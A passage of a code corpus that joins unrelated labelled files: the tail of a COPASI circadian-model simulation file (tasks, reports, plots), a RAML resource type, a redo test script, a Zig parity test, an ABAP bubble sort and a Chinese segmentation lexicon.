append="1" confirmOverwrite="0"/> <Problem> <Parameter name="Maximize" type="bool" value="0"/> <Parameter name="Randomize Start Values" type="bool" value="0"/> <Parameter name="Calculate Statistics" type="bool" value="1"/> <ParameterGroup name="OptimizationItemList"> </ParameterGroup> <ParameterGroup name="OptimizationConstraintList"> </ParameterGroup> <Parameter name="Steady-State" type="cn" value="CN=Root,Vector=TaskList[Steady-State]"/> <Parameter name="Time-Course" type="cn" value="CN=Root,Vector=TaskList[Time-Course]"/> <ParameterGroup name="Experiment Set"> </ParameterGroup> <ParameterGroup name="Validation Set"> <Parameter name="Threshold" type="unsignedInteger" value="5"/> <Parameter name="Weight" type="unsignedFloat" value="1"/> </ParameterGroup> </Problem> <Method name="Evolutionary Programming" type="EvolutionaryProgram"> <Parameter name="Number of Generations" type="unsignedInteger" value="200"/> <Parameter name="Population Size" type="unsignedInteger" value="20"/> <Parameter name="Random Number Generator" type="unsignedInteger" value="1"/> <Parameter name="Seed" type="unsignedInteger" value="0"/> </Method> </Task> <Task key="Task_20" name="Metabolic Control Analysis" type="metabolicControlAnalysis" scheduled="false" updateModel="false"> <Report reference="Report_13" target="" append="1" confirmOverwrite="0"/> <Problem> <Parameter name="Steady-State" type="key" value="Task_26"/> </Problem> <Method name="MCA Method (Reder)" type="MCAMethod(Reder)"> <Parameter name="Modulation Factor" type="unsignedFloat" value="1e-09"/> </Method> </Task> <Task key="Task_19" name="Lyapunov Exponents" type="lyapunovExponents" scheduled="false" updateModel="false"> <Report reference="Report_12" target="" append="1" confirmOverwrite="0"/> <Problem> <Parameter name="ExponentNumber" type="unsignedInteger" value="3"/> <Parameter name="DivergenceRequested" type="bool" value="1"/> <Parameter name="TransientTime" type="float" value="0"/> </Problem> <Method name="Wolf Method" type="WolfMethod"> <Parameter name="Orthonormalization Interval" type="unsignedFloat" value="1"/> <Parameter name="Overall time" type="unsignedFloat" value="1000"/> <Parameter name="Relative Tolerance" type="unsignedFloat" value="1e-06"/> <Parameter name="Absolute Tolerance" type="unsignedFloat" value="1e-12"/> <Parameter name="Max Internal Steps" type="unsignedInteger" value="10000"/> </Method> </Task> <Task key="Task_18" name="Sensitivities" type="sensitivities" scheduled="false" updateModel="false"> <Report reference="Report_11" target="" append="1" confirmOverwrite="0"/> <Problem> <Parameter name="SubtaskType" type="unsignedInteger" value="1"/> <ParameterGroup name="TargetFunctions"> <Parameter name="SingleObject" type="cn" value=""/> <Parameter name="ObjectListType" type="unsignedInteger" value="7"/> </ParameterGroup> <ParameterGroup name="ListOfVariables"> <ParameterGroup name="Variables"> <Parameter name="SingleObject" type="cn" value=""/> <Parameter name="ObjectListType" type="unsignedInteger" value="41"/> </ParameterGroup> </ParameterGroup> </Problem> <Method name="Sensitivities Method" type="SensitivitiesMethod"> <Parameter name="Delta factor" type="unsignedFloat" value="1e-06"/> <Parameter name="Delta minimum" type="unsignedFloat" value="1e-12"/> </Method> </Task> <Task key="Task_17" name="Moieties" type="moieties" scheduled="false" updateModel="false"> <Problem> </Problem> <Method name="Householder Reduction" type="Householder"> </Method> </Task> <Task key="Task_16" name="Time Scale Separation Analysis" type="timeScaleSeparationAnalysis" scheduled="false" updateModel="false"> <Report reference="Report_10" target="" append="1" confirmOverwrite="0"/> <Problem> <Parameter name="StepNumber" type="unsignedInteger" value="100"/> <Parameter name="StepSize" type="float" value="0.01"/> <Parameter name="Duration" type="float" value="1"/> <Parameter name="TimeSeriesRequested" type="bool" value="1"/> <Parameter name="OutputStartTime" type="float" value="0"/> </Problem> <Method name="ILDM (LSODA,Deuflhard)" type="TimeScaleSeparation(ILDM,Deuflhard)"> <Parameter name="Deuflhard Tolerance" type="unsignedFloat" value="1e-06"/> </Method> </Task> <Task key="Task_15" name="Cross Section" type="crosssection" scheduled="false" updateModel="false"> <Problem> <Parameter name="StepNumber" type="unsignedInteger" value="100"/> <Parameter name="StepSize" type="float" value="0.01"/> <Parameter name="Duration" type="float" value="1"/> <Parameter name="TimeSeriesRequested" type="bool" value="1"/> <Parameter name="OutputStartTime" type="float" value="0"/> <Parameter name="Output Event" type="bool" value="0"/> <Parameter name="Continue on Simultaneous Events" type="bool" value="0"/> <Parameter name="LimitCrossings" type="bool" value="0"/> <Parameter name="NumCrossingsLimit" type="unsignedInteger" value="0"/> <Parameter name="LimitOutTime" type="bool" value="0"/> <Parameter name="LimitOutCrossings" type="bool" value="0"/> <Parameter name="PositiveDirection" type="bool" value="1"/> <Parameter name="NumOutCrossingsLimit" type="unsignedInteger" value="0"/> <Parameter name="LimitUntilConvergence" type="bool" value="0"/> <Parameter name="ConvergenceTolerance" type="float" value="1e-06"/> <Parameter name="Threshold" type="float" value="0"/> <Parameter name="DelayOutputUntilConvergence" type="bool" value="0"/> <Parameter name="OutputConvergenceTolerance" type="float" value="1e-06"/> <ParameterText name="TriggerExpression" type="expression"> </ParameterText> <Parameter name="SingleVariable" type="cn" value=""/> <Parameter name="LimitTime" type="bool" value="1"/> </Problem> <Method name="Deterministic (LSODA)" type="Deterministic(LSODA)"> <Parameter name="Integrate Reduced Model" type="bool" value="0"/> <Parameter name="Relative Tolerance" type="unsignedFloat" value="1e-06"/> <Parameter name="Absolute Tolerance" type="unsignedFloat" value="1e-12"/> <Parameter name="Max Internal Steps" type="unsignedInteger" value="10000"/> </Method> </Task> <Task key="Task_27" name="Linear Noise Approximation" type="linearNoiseApproximation" scheduled="false" updateModel="false"> <Report reference="Report_19" target="" append="1" confirmOverwrite="1"/> <Problem> <Parameter name="Steady-State" type="key" value="Task_26"/> </Problem> <Method name="Linear Noise Approximation" type="LinearNoiseApproximation"> </Method> </Task> </ListOfTasks> <ListOfReports> <Report key="Report_17" name="Steady-State" taskType="steadyState" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Footer> <Object cn="CN=Root,Vector=TaskList[Steady-State]"/> </Footer> </Report> <Report key="Report_16" name="Elementary Flux Modes" taskType="fluxMode" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Footer> <Object cn="CN=Root,Vector=TaskList[Elementary Flux Modes],Object=Result"/> </Footer> </Report> <Report key="Report_15" name="Optimization" taskType="optimization" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Header> <Object cn="CN=Root,Vector=TaskList[Optimization],Object=Description"/> <Object cn="String=\[Function Evaluations\]"/> <Object cn="Separator=&#x09;"/> <Object cn="String=\[Best Value\]"/> <Object cn="Separator=&#x09;"/> <Object cn="String=\[Best Parameters\]"/> </Header> <Body> <Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Function Evaluations"/> <Object cn="Separator=&#x09;"/> <Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Best Value"/> <Object cn="Separator=&#x09;"/> <Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Best Parameters"/> </Body> <Footer> <Object cn="String=&#x0a;"/> <Object cn="CN=Root,Vector=TaskList[Optimization],Object=Result"/> </Footer> </Report> <Report key="Report_14" name="Parameter Estimation" taskType="parameterFitting" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Header> <Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Object=Description"/> <Object cn="String=\[Function Evaluations\]"/> <Object cn="Separator=&#x09;"/> <Object cn="String=\[Best Value\]"/> <Object cn="Separator=&#x09;"/> <Object cn="String=\[Best Parameters\]"/> </Header> <Body> <Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Function Evaluations"/> <Object cn="Separator=&#x09;"/> <Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Value"/> <Object cn="Separator=&#x09;"/> <Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Parameters"/> </Body> <Footer> <Object cn="String=&#x0a;"/> <Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Object=Result"/> </Footer> </Report> <Report key="Report_13" name="Metabolic Control Analysis" taskType="metabolicControlAnalysis" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Header> <Object cn="CN=Root,Vector=TaskList[Metabolic Control Analysis],Object=Description"/> </Header> <Footer> <Object cn="String=&#x0a;"/> <Object cn="CN=Root,Vector=TaskList[Metabolic Control Analysis],Object=Result"/> </Footer> </Report> <Report key="Report_12" name="Lyapunov Exponents" taskType="lyapunovExponents" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Header> <Object cn="CN=Root,Vector=TaskList[Lyapunov Exponents],Object=Description"/> </Header> <Footer> <Object cn="String=&#x0a;"/> <Object cn="CN=Root,Vector=TaskList[Lyapunov Exponents],Object=Result"/> </Footer> </Report> <Report key="Report_11" name="Sensitivities" taskType="sensitivities" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Header> <Object cn="CN=Root,Vector=TaskList[Sensitivities],Object=Description"/> </Header> <Footer> <Object cn="String=&#x0a;"/> <Object cn="CN=Root,Vector=TaskList[Sensitivities],Object=Result"/> </Footer> </Report> <Report key="Report_10" name="Time Scale Separation Analysis" taskType="timeScaleSeparationAnalysis" separator="&#x09;" precision="6"> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> Automatically generated report. </body> </Comment> <Header> <Object cn="CN=Root,Vector=TaskList[Time Scale Separation Analysis],Object=Description"/> </Header> <Footer> <Object cn="String=&#x0a;"/> <Object cn="CN=Root,Vector=TaskList[Time Scale Separation Analysis],Object=Result"/> </Footer> </Report> <Report key="Report_9" name="Events" taskType="timeCourse" separator="&#x09;" precision="7"> <Comment> A table of time, variable species concentrations, variable compartment volumes, and variable global quantity values. </Comment> <Table printTitle="1"> <Object cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C3_mRNA],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C_3],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C_3_P],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_phos],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[c1c3complex],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C1],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C1_P],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_P],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_complex],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_mRNA],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_pre],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[junk],Reference=Concentration"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Values[aphase],Reference=Value"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Values[peak 1],Reference=Value"/> <Object cn="CN=Root,Model=circadianC1C3complex,Vector=Values[peak2],Reference=Value"/> </Table> </Report> <Report key="Report_19" name="Linear Noise Approximation" taskType="linearNoiseApproximation" separator="&#x09;" precision="6"> <Comment> Automatically generated report. </Comment> <Header> <Object cn="CN=Root,Vector=TaskList[Linear Noise Approximation],Object=Description"/> </Header> <Footer> <Object cn="String=&#x0a;"/> <Object cn="CN=Root,Vector=TaskList[Linear Noise Approximation],Object=Result"/> </Footer> </Report> </ListOfReports> <ListOfPlots> <PlotSpecification name="Concentrations, Volumes, and Global Quantity Values" type="Plot2D" active="1"> <Parameter name="log X" type="bool" value="0"/> <Parameter name="log Y" type="bool" value="0"/> <ListOfPlotItems> <PlotItem name="[C3_mRNA]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C3_mRNA],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[C_3]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C_3],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[C_3_P]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C_3_P],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[C1]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[C1_phos]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_phos],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[c1c3complex]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[c1c3complex],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[K_C1]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C1],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[K_C1_P]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C1_P],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[K_C3_P]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_P],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[K_complex]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_complex],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[K_C3]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[K_C3_mRNA]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_mRNA],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[K_C3_pre]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_pre],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="[junk]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[junk],Reference=Concentration"/> </ListOfChannels> </PlotItem> <PlotItem name="Values[aphase]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Values[aphase],Reference=Value"/> </ListOfChannels> </PlotItem> <PlotItem name="Values[peak 1]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Values[peak 1],Reference=Value"/> </ListOfChannels> </PlotItem> <PlotItem name="Values[peak2]" type="Curve2D"> <Parameter name="Color" type="string" value="auto"/> <Parameter name="Line subtype" type="unsignedInteger" value="0"/> <Parameter name="Line type" type="unsignedInteger" value="0"/> <Parameter name="Line width" type="unsignedFloat" value="1"/> <Parameter name="Recording Activity" type="string" value="during"/> <Parameter name="Symbol subtype" type="unsignedInteger" value="0"/> <ListOfChannels> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Reference=Time"/> <ChannelSpec cn="CN=Root,Model=circadianC1C3complex,Vector=Values[peak2],Reference=Value"/> </ListOfChannels> </PlotItem> </ListOfPlotItems> </PlotSpecification> </ListOfPlots> <GUI> <ListOfSliders> <Slider key="Slider_0" associatedEntityKey="Task_25" objectCN="CN=Root,Model=circadianC1C3complex,Vector=Values[v7],Reference=InitialValue" objectType="float" objectValue="3.025" minValue="2.5" maxValue="10" tickNumber="1000" tickFactor="100" scaling="linear"/> <Slider key="Slider_1" associatedEntityKey="Task_25" objectCN="CN=Root,Model=circadianC1C3complex,Vector=Values[k7],Reference=InitialValue" objectType="float" objectValue="2" minValue="0.5" maxValue="2" tickNumber="1000" tickFactor="100" scaling="linear"/> </ListOfSliders> </GUI> <SBMLReference file="double-goodwin24h-mod.xml"> <SBMLMap SBMLid="T" COPASIkey="ModelValue_53"/> <SBMLMap SBMLid="T2" COPASIkey="ModelValue_54"/> <SBMLMap SBMLid="default" COPASIkey="Compartment_3"/> <SBMLMap SBMLid="re12" COPASIkey="Reaction_19"/> <SBMLMap SBMLid="re13" COPASIkey="Reaction_20"/> <SBMLMap SBMLid="re14" COPASIkey="Reaction_21"/> <SBMLMap SBMLid="re15" COPASIkey="Reaction_22"/> <SBMLMap SBMLid="re16" COPASIkey="Reaction_23"/> <SBMLMap SBMLid="re18" COPASIkey="Reaction_24"/> <SBMLMap SBMLid="s10" COPASIkey="Metabolite_25"/> <SBMLMap SBMLid="s11" COPASIkey="Metabolite_27"/> <SBMLMap SBMLid="s13" COPASIkey="Metabolite_29"/> <SBMLMap SBMLid="s2" COPASIkey="Metabolite_21"/> <SBMLMap SBMLid="s9" COPASIkey="Metabolite_23"/> </SBMLReference> </COPASI>

Component Pascal

SzVarga/COPASI

TestSuite/events/EventTest15.cps

#%RAML 1.0 ResourceType usage: Use this resourceType to represent a collection of items description: A collection of <<resourcePathName|!uppercamelcase>> get: description: | Get all <<resourcePathName|!uppercamelcase>>, optionally filtered is: [ hasResponseCollection ] post: description: | Create a new <<resourcePathName|!uppercamelcase|!singularize>> is: [ hasRequestItem ]

RAML

zeesh49/tutorials

raml/modularization/resourceTypes/collection.raml

# we don't delete $3 here, we just truncate and overwrite it. But redo # can detect this by checking the current file position of our stdout when # we exit, and making sure it equals either 0 or the file size. # # If it doesn't, then we accidentally wrote to *both* stdout and a separate # file, and we should get warned about it. echo hello world echo goodbye world >$3

Stata

BlameJohnny/redo

t/350-deps/overwrite3.do

const parity = @import("parity.zig"); const testing = @import("std").testing; fn paritysi2Naive(a: i32) i32 { var x = @bitCast(u32, a); var has_parity: bool = false; while (x > 0) { has_parity = !has_parity; x = x & (x - 1); } return @intCast(i32, @boolToInt(has_parity)); } fn test__paritysi2(a: i32) !void { var x = parity.__paritysi2(a); var expected: i32 = paritysi2Naive(a); try testing.expectEqual(expected, x); } test "paritysi2" { try test__paritysi2(0); try test__paritysi2(1); try test__paritysi2(2); try test__paritysi2(@bitCast(i32, @as(u32, 0xfffffffd))); try test__paritysi2(@bitCast(i32, @as(u32, 0xfffffffe))); try test__paritysi2(@bitCast(i32, @as(u32, 0xffffffff))); const RndGen = @import("std").rand.DefaultPrng; var rnd = RndGen.init(42); var i: u32 = 0; while (i < 10_000) : (i += 1) { var rand_num = rnd.random().int(i32); try test__paritysi2(rand_num); } }

Zig

silversquirl/zig

lib/std/special/compiler_rt/paritysi2_test.zig

DATA : ITAB_data TYPE TABLE OF int4, "Internal Table to accept multiple data ITAB TYPE TABLE OF string, wa_current_data type int4, " Work Area for this Internal Table wa_bubble_data TYPE int4, lv_lines TYPE int1, lv_data1 TYPE int2, lv_data2 TYPE int2, lv_current_line TYPE int1. SELECTION-SCREEN BEGIN OF SCREEN 0100 . "Where we create a Screen 0100 SELECT-OPTIONS: s_data FOR wa_current_data. "Seclect-Option for multiple Input SELECTION-SCREEN END OF SCREEN 0100. DATA : wa_sdata LIKE LINE OF s_data. START-OF-SELECTION. " Where we show output CALL SELECTION-SCREEN '0100' STARTING AT 10 10. "Where we call the Screen 0100 we created earlier. LOOP AT s_data INTO wa_sdata. APPEND wa_sdata-low TO ITAB_data. ENDLOOP. DESCRIBE TABLE ITAB_data LINES lv_lines." Here we get total number of record WHILE sy-index < lv_lines. " Loop the whole record till all data are compared READ TABLE ITAB_data INTO wa_bubble_data INDEX 1. "Read 1st data into a field LOOP AT ITAB_data INTO wa_current_data FROM 2 TO lv_lines - sy-index + 1. " Read data from 2nd record onwards lv_current_line = sy-tabix. " Gives current loop number IF ( wa_bubble_data > wa_current_data ). " If record no.2 > record no.1 => SWAP them MODIFY ITAB_data FROM wa_bubble_data INDEX lv_current_line. MODIFY ITAB_data FROM wa_current_data INDEX lv_current_line - 1. ELSE. wa_bubble_data = wa_current_data. " If not, 2nd record will become first and 3rd record will become 2nd record ENDIF. ENDLOOP. ENDWHILE. LOOP AT ITAB_data INTO wa_current_data. SKIP. WRITE : wa_current_data. ENDLOOP.

ABAP

Utsav1510/al-go-rithms

sort/bubble_sort/abap/bubble-sort.abap

CJK_WORDS 油条哥/n/you tiao ge/null 活雷锋/n/huo lei feng/null 夕阳红/n/xi yang hong/null 帮扶村/n/bang fu cun/null 后援会/n/hou yuan hui/null 复炸油/n/fu zha you/null 献血哥/n/xian xie ge/null 放心姐/n/fang xin jie/null 啃老族/n/ken lao zu/null 特训班/n/te xun ban/null 平头男/n/ping tou nan/null 爆头哥/n/bao tou ge/null 楼主/n/lou zhu/null 有两把刷子/a/you liang ba shua zi/null 非典/n/fei dian/null 微信/n/wei xin/null 微博/n/wei bo/null 吊丝/n/diao si/null 高富帅/n/gao fu shuai/null 矮穷挫/n/ai qiong cuo/null 白富美/n/bai fu mei/null 狮子的魂/nz/shi zi de hun/null 仓老师/nz/cang lao shi/仓井空 菇凉/n/gu liang/null 科比/nr/ke bi/null

Lex

KuRiGotham/BigBang

segment-jcseg/src/main/assets/jcseg/lex-net.lex

